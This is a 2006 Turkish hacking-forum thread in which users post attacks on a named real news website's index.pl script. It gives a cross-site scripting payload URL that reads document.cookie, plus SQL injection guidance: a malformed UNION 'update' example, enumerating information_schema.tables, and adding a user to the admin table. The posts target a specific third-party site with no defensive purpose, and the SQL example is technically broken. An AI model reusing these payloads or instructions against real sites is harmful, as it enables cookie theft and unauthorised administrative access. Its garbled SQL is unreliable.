Tahribat.com Forumları
Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri
Açık

Yazar fenerist07 (1) Genki (1) renegadealien (2) Gösterim 10 50 75 100
Ağ ve Veri Güvenliği     Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri     Web sitesi Güvenliği, DOS - DDOS Saldırıları...     Bilgisayar Güvenliği - Backdoorlar     Virüs - Trojan - Keylogger - BotNet     Skype - Mirc - Irc - Icq - Mail Güvenliği     Bilişim Güvenliği     Hesaplar / Üyelikler     Domain - Hosting - Reseller - Dedicated Server - Virtual Server - IRC Shell - Seedbox     İnternet Güvenliğine Giriş Programlama     C#, Asp.Net, .Net Core     C - C++     Delphi - Pascal     Visual Basic - Basic - PicBasic ve Türevleri     Java     Android - IOS Programlama     Mobil Programlama     Asp - Php - Cgi - Perl     Assembly - Reverse Engineering     Html - CSS - XML - JavaScript - Ajax     Database - Veritabanı     Python     Grafik - Animasyon - Flash - 3D Modelleme     Webmaster ve Yazılım Geliştiriciler     Google / Yandex / Bing ve Servisleri     Programlama Genel     Programlamaya Giriş Bilgisayar ve Teknoloji     Microsoft Windows Ailesi İşletim Sistemleri     Linux ve Diğer İşletim Sistemleri     Donanım & Driver     Network - İnternet     Elektronik / Embedded / Mobil Cihazlar     Kriptoparalar & Blockchain     Fotografçılık ve Digital Fotograf Makineleri - Video Kameralar     Cep Telefonları, Gsm Operatörleri ve Mobil İnternet     Oyunlar     Yazılımlar / Diğer Programlar     Bilgisayarla İlgili Diğer Konular İnternet     Download / Dosya Paylaşım     Bilgisayar ve Internet Teknolojileri İle İlgili Video / Resim / Flash Paylaşım     İnternet Siteleri     Sosyal Ağlar Genel     Genel     Gündem - Güncel Konular     Derin Konular     Bilim Teknik Teknoloji     Müzik & Sinema & Tiyatro & Kitap & Televizyon & Seminerler & Edebiyat     Eğitim & Ödev & Bilimsel Döküman     E-Book     İş - Güç, E-Ticaret, Alışveriş     Hukuk & Muhasebe & Sigorta Soru - Cevap     Ulaşım Araçları ve Seyahat     Vukuatlar     Geyik & Teknoloji İle İlgili Olmayan Video / Resim / Flash Paylaşım Tahribat.com Konuları     Tahribat.com Programları®     Tahribat.Com - Açık Kapılar Önünde     Tahribat.Com - Sosyal Etkinlikler     TahriDepo

Açık

1. 28/Haz/06 14:49 Kısayol Şikayet Özel Mesaj
   sacrifice
   
   

   Kayıt Tarihi: 25/Ağustos/2005
   

   "index.pl" script inin id parametresi SQL command çalıştırılmasına izin veriyor.
   ÖR :
   http://www.rockrivertimes.com/index.pl?cmd=viewstory&cat=2&id=">alert(document.cookie)
   PS: alert' in baş ve sonuna script etiketlerini atmayı unutmayın
   

   ---

   #Coding Sacrifice Perl FSO#
   Alıntı yap
2. 28/Haz/06 15:39 Kısayol Şikayet Özel Mesaj
   renegadealien
   
   
   

   Kayıt Tarihi: 23/Mart/2003
   

   index.pl de cookiesini almak istediğin yere gel...
   
   javascript:alert(document.cookie)
   
   yazısını explorea yaz ve entera tıkla.. cookieni görebilirsin...

   ---

   Sanıyorum kendi atasözümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Söyleyeni belli olduğu için(Ben) atasözü değil, özlüsöz oluyormuş, dolayısı ile kendi özlüsözümü yapmış oldum :)
   Alıntı yap
3. 28/Haz/06 15:44 Kısayol Şikayet Özel Mesaj
   renegadealien
   
   
   

   Kayıt Tarihi: 23/Mart/2003
   

   bu arada index.pl de koruma yoksa şunu kullanabilirsin tabiki bu sadece örnek gerisini kendin araştırıp bulacaksın
   
   http://www.rockrivertimes.com/index.pl?cmd=viewstory&cat=2&id=
   
   yazdıktan sonra idyi bir sayıya eşitleyip daha sonrakı kayıtları ekletip güncelleştirme vs işlemleri için sqldeki union u kullanman lazım örneğin
   
   http://www.rockrivertimes.com/index.pl?cmd=viewstory&cat=2&id= 1 union update from cat=15
   
   bu en basitinden en aptalca örneklerden birisiydi. burada bütün categorileri 15 e eşitledik. Aynı şekilde information_schema.tables ı kullanarak tablo adlarını bulabilir ve admin tablosuna yeni user da ekleyebilirsin... sql dökümanlarını ayrıntılı olarak incelersen zor değildir sql injection...

   ---

   Sanıyorum kendi atasözümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Söyleyeni belli olduğu için(Ben) atasözü değil, özlüsöz oluyormuş, dolayısı ile kendi özlüsözümü yapmış oldum :)
   Alıntı yap
4. 28/Haz/06 16:10 Kısayol Şikayet Özel Mesaj
   ★★★★
   Genki
   
   

   Kayıt Tarihi: 24/Ağustos/2005
   

   döktürmüş rene hojam yine =)
   Alıntı yap
5. 28/Haz/06 17:06 Kısayol Şikayet Özel Mesaj
   fenerist07
   
   

   Kayıt Tarihi: 09/Ağustos/2005
   

   üstüne bişey söylenmez heralde :)

   ---

   Amphetamine Logic.
   Alıntı yap

Cevapla